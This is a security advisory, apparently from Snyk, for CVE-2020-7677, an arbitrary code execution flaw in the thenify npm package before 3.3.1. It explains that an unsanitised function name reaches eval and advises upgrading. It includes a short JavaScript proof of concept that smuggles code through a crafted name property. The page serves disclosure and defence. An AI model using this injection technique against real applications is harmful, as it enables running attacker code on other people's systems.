Arbitrary Code Execution Affecting thenify package, versions <3.3.1
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.4% (75th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-THENIFY-571690
- published 15 Jun 2020
- disclosed 15 Jun 2020
- credit JHU System Security Lab
Introduced: 15 Jun 2020
CVE-2020-7677 Open this link in a new tabHow to fix?
Upgrade thenify
to version 3.3.1 or higher.
Overview
thenify is a Promisify a callback-based function using any-promise.
Affected versions of this package are vulnerable to Arbitrary Code Execution. The name
argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval
function without any sanitization.
PoC
var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);
References
CVSS Scores
version 3.1